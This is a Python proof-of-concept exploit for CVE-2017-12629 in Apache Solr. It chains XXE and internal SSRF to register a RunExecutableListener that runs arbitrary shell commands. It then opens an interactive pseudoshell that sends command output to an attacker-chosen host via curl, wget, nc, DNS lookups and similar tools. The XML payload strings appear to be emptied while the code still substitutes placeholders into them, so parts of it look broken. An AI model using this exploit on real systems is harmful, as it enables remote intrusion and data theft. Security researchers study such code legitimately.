from urllib.parse import quote as urlEncode
import requests
import random
import urllib3
from urllib3.exceptions import InsecureRequestWarning
import argparse
# Suppress the InsecureRequestWarning specifically
urllib3.disable_warnings(InsecureRequestWarning)
##################
# HELPER FUNCTIONS
##################
def createUrlForPayload(payload: str, urlBaseExternal: str):
baseUrl = f"{urlBaseExternal}/page.aspx/en/PAYLOAD?ReturnUrl=/page.aspx/en/buy/homepage" # replace PAYLOAD
#urlForPayload = baseUrl.replace("PAYLOAD", urlEncode(payload))
urlForPayload = baseUrl.replace("PAYLOAD", payload)
return urlForPayload
def executeCommand(urlBaseExternal: str, urlBaseInternal: str, commandBinary: str, commandArgs: list[str], commandCurDir: str):
# Create New collection
collectionName = f"collection{random.randint(100000000000, 999999999999)}"
requests.get(
url=createUrlForPayload(
payload="""{!xmlparser v=''}""".replace("URL_BASE_INTERNAL", urlBaseInternal).replace("COLLECTION_NAME", collectionName),
urlBaseExternal=urlBaseExternal
),
verify=False
)
print(f"New collection created: '{collectionName}'")
# Add a new RunExecutableListener
listenerName = f"listener{random.randint(100000000000, 999999999999)}"
commandArgsProcessed = str(commandArgs).replace("'","\"")
streamBodyInPayload = urlEncode("""{"add-listener":{"event":"postCommit","name":"LISTENER_NAME","class":"solr.RunExecutableListener","exe":"COMMAND_BINARY","dir":"COMMAND_CUR_DIR","args":COMMAND_ARGS}}""".replace("LISTENER_NAME", listenerName).replace("COMMAND_BINARY", commandBinary).replace("COMMAND_CUR_DIR", commandCurDir).replace("COMMAND_ARGS", commandArgsProcessed))
requests.get(
url=createUrlForPayload(
payload="""{!xmlparser v=''}""".replace("URL_BASE_INTERNAL", urlBaseInternal).replace("STREAM_BODY", streamBodyInPayload).replace("SHARDS", urlBaseInternal.lstrip("http://").lstrip("https://")),
urlBaseExternal=urlBaseExternal
),
verify=False
)
print(f"New RunExecutableListener created: '{listenerName}'")
# Update "newcollection" to trigger execution of RunExecutableListener
randomId = f"id{random.randint(100000000000, 999999999999)}"
streamBodyInPayload = urlEncode('[{"id":"RANDOM_ID"}]'.replace("RANDOM_ID", randomId))
requests.get(
url=createUrlForPayload(
payload="""{!xmlparser v=''}""".replace("STREAM_BODY", streamBodyInPayload).replace("URL_BASE_INTERNAL", urlBaseInternal).replace("ID_UPDATE", randomId),
urlBaseExternal=urlBaseExternal
),
verify=False
)
print(f"Updating collection's ID to '{randomId}' to trigger command execution")
######
# MAIN
######
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.description = "POC for CVE-2017-12629 (RCE via internal SSRF via XXE) by @realCaptainWoof"
parser.add_argument("-ue", "--url-base-external", help="External URL base of the vulnerable application; e.g, 'https://vulnerable.app/solr'", action="store", required=True)
parser.add_argument("-ui", "--url-base-internal", help="Internal URL base of the vulnerable application; e.g, 'https://127.0.0.1:8983'; default: 'https://127.0.0.1:8983'", action="store", required=True, default="https://127.0.0.1:8983")
parser.add_argument("-b", "--bin", help="How to exfiltrate command output from target; default: 'curl'", choices=["curl", "wget", "ftp", "ping", "nc", "ncat", "nslookup", "dig"], default="curl", action='store')
parser.add_argument("-e", "--exfil", help="Destination to exfil to. Make sure this corresponds to '--bin'; e.g, if '--bin' is 'curl', '--exfil' can be 'http://EXFIL.myserver.com/EXFIL'. Must specify injection point via 'EXFIL' keyword.", required=True)
parser.add_argument("-f", "--exfil-format", help="Format in which to exfil the command output; default: 'base32'", choices=["hex", "base32"], default="base32")
args = parser.parse_args()
if "EXFIL" not in args.exfil:
print("'--exfil' needs EXFIL keyword. Use '--help'.")
exit(0)
# Start pseudoshell
try:
while True:
commandToExecute = input("$ ") # May contain args, no problem
# Decide how to exfil command output
commandArgEmbedded = ""
exfilDestination = ""
if args.exfil_format == "hex":
exfilDestination = args.exfil.replace("EXFIL", f"$({commandToExecute} | xxd -p | tr -d '\\n')")
else:
exfilDestination = args.exfil.replace("EXFIL", f"$({commandToExecute} | base32 -w 0 | tr -d '=\\n')")
if args.bin == "curl":
commandArgEmbedded = f"curl -k -s {exfilDestination}"
elif args.bin == "wget":
commandArgEmbedded = f"wget -q --spider --no-check-certificate {exfilDestination}"
elif args.bin == "ftp":
commandArgEmbedded = f"echo \"quit\" | ftp -n -q 5 {exfilDestination}"
elif args.bin == "ping":
commandArgEmbedded = f"ping -c 1 -W 5 {exfilDestination}"
elif args.bin == "nc":
commandArgEmbedded = f"nc -z -w 5 {exfilDestination}"
elif args.bin == "ncat":
commandArgEmbedded = f"ncat -z -w 5 {exfilDestination}"
elif args.bin == "nslookup":
commandArgEmbedded = f"nslookup {exfilDestination}"
elif args.bin == "dig":
commandArgEmbedded = f"dig {exfilDestination}"
# Need to try multiple times to succeed because OOB DNS exfiltration is finnicky (though command should get executed after just one attempt)
for tryNum in range(0, 9):
print(f"> Attempt #{tryNum + 1}")
executeCommand(
urlBaseExternal = args.url_base_external,
urlBaseInternal = args.url_base_internal,
commandBinary="sh",
commandArgs=["-c", f"\"{commandArgEmbedded}\""],
commandCurDir="/tmp"
)
except KeyboardInterrupt:
print("[+] Pseudoshell quit")